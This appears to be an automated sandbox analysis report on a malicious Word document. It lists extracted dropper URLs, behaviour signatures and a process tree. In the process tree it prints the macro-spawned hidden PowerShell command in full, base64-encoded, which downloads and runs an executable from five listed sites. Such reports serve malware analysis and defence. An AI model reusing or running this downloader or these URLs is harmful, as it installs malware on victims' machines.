Analysis
- max time kernel
47s - max time network
39s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/11/2024, 21:06
General
- Target 5a85fc8a3d5b5f112e887d7e5a2518da1dff49c034363b5bc0c3b7d5b369d090.doc
- Size 217KB
- Sample241113-zxtd4ssmem
- SHA256 5a85fc8a3d5b5f112e887d7e5a2518da1dff49c034363b5bc0c3b7d5b369d090
Malware Config
Extracted
-
ps1
-
exe.dropper
http://theaustinochuks.com/personal_array/kvrmif/
-
exe.dropper
http://sarafifallahi.com/wp-admin/uUXtpLhI/
-
exe.dropper
http://faustosarli.com/wp-admin/mYZW0/
-
exe.dropper
http://janejahan.com/wp-content/hqiw1u9/
-
exe.dropper
http://vikstory.ca/h/f2cgRvw/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5a85fc8a3d5b5f112e887d7e5a2518da1dff49c034363b5bc0c3b7d5b369d090.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABQAGUAZwB4AGkAagByAGsAdgBwAD0AJwBEAGUAbgBsAGsAdQB3AGQAdQBmAHoAJwA7ACQAUABhAHAAbgBvAHkAZABzAHgAIAA9ACAAJwA1ADEAMQAnADsAJABHAGwAegBpAGEAZwBwAGoAPQAnAEYAZQBkAHIAeQB2AHQAbwBhAG4AJwA7ACQATAB0AGUAdQB2AHMAcQBtAGIAbABhAHEAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUABhAHAAbgBvAHkAZABzAHgAKwAnAC4AZQB4AGUAJwA7ACQAQQBtAHMAeQBiAGMAcgBrAGYAPQAnAEkAYwBmAGsAbgBwAGkAeQAnADsAJABKAG8AawBzAHYAcQB5AHYAeQBtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBCAGMAbABJAGUAbgBUADsAJABKAHUAeABkAHIAaABoAGoAdABpAD0AJwBoAHQAdABwADoALwAvAHQAaABlAGEAdQBzAHQAaQBuAG8AYwBoAHUAawBzAC4AYwBvAG0ALwBwAGUAcgBzAG8AbgBhAGwAXwBhAHIAcgBhAHkALwBrAHYAcgBtAGkAZgAvACoAaAB0AHQAcAA6AC8ALwBzAGEAcgBhAGYAaQBmAGEAbABsAGEAaABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB1AFUAWAB0AHAATABoAEkALwAqAGgAdAB0AHAAOgAvAC8AZgBhAHUAcwB0AG8AcwBhAHIAbABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBtAFkAWgBXADAALwAqAGgAdAB0AHAAOgAvAC8AagBhAG4AZQBqAGEAaABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBoAHEAaQB3ADEAdQA5AC8AKgBoAHQAdABwADoALwAvAHYAaQBrAHMAdABvAHIAeQAuAGMAYQAvAGgALwBmADIAYwBnAFIAdgB3AC8AJwAuACIAcwBgAHAAbABJAHQAIgAoACcAKgAnACkAOwAkAEMAZgBnAHEAZQBlAHoAbAA9ACcASQBvAHkAawBtAHAAYwBlAG0AcgAnADsAZgBvAHIAZQBhAGMAaAAoACQARAB4AG0AZgB4AHQAYQB1AGUAYwB4AHAAdAAgAGkAbgAgACQASgB1AHgAZAByAGgAaABqAHQAaQApAHsAdAByAHkAewAkAEoAbwBrAHMAdgBxAHkAdgB5AG0ALgAiAEQAbwBgAFcATgBMAG8AQQBkAGYAYABJAGAATABlACIAKAAkAEQAeABtAGYAeAB0AGEAdQBlAGMAeABwAHQALAAgACQATAB0AGUAdQB2AHMAcQBtAGIAbABhAHEAZgApADsAJABMAGQAdgBvAHMAbABnAHoAcwA9ACcARwB5AGgAbABoAHcAeQByAHkAdQBoACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATAB0AGUAdQB2AHMAcQBtAGIAbABhAHEAZgApAC4AIgBsAGUAbgBgAEcAYABUAEgAIgAgAC0AZwBlACAAMwAzADkAOAAyACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgBUACIAKAAkAEwAdABlAHUAdgBzAHEAbQBiAGwAYQBxAGYAKQA7ACQAVgB4AHgAbQBkAG0AYwBpAD0AJwBEAHYAcQBsAG8AZQBsAHUAdAB4AHIAbQAnADsAYgByAGUAYQBrADsAJABWAGkAbwB6AHUAbQBlAGwAPQAnAFgAbgBqAG4AbwBjAG8AeQBkAG0AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBtAGQAdQBqAG0AeQB3AG0AaQA9ACcAUQB2AHgAYwBvAGoAcABzAHUAZwBvAGEAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
70F12C09.wmf
gb.xsl
__PSScriptPolicyTest_lpaeulnx.qlp.ps1
fb3b0dbfee58fac8.customDestinations-ms
memory/2472-60-0x000002AF7FD80000-0x000002AF7FDA2000-memory.dmp
memory/4764-10-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-7-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-1-0x00007FF834450000-0x00007FF834460000-memory.dmp
memory/4764-12-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-13-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-14-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-15-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-16-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-17-0x00007FF8323F0000-0x00007FF832400000-memory.dmp
memory/4764-11-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-9-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-8-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-6-0x00007FF834450000-0x00007FF834460000-memory.dmp
memory/4764-18-0x00007FF8323F0000-0x00007FF832400000-memory.dmp
memory/4764-4-0x00007FF834450000-0x00007FF834460000-memory.dmp
memory/4764-5-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-2-0x00007FF834450000-0x00007FF834460000-memory.dmp
memory/4764-72-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-73-0x00007FF87446D000-0x00007FF87446E000-memory.dmp
memory/4764-74-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-75-0x00007FF8743D0000-0x00007FF8745C5000-memory.dmp
memory/4764-3-0x00007FF834450000-0x00007FF834460000-memory.dmp
memory/4764-0-0x00007FF87446D000-0x00007FF87446E000-memory.dmp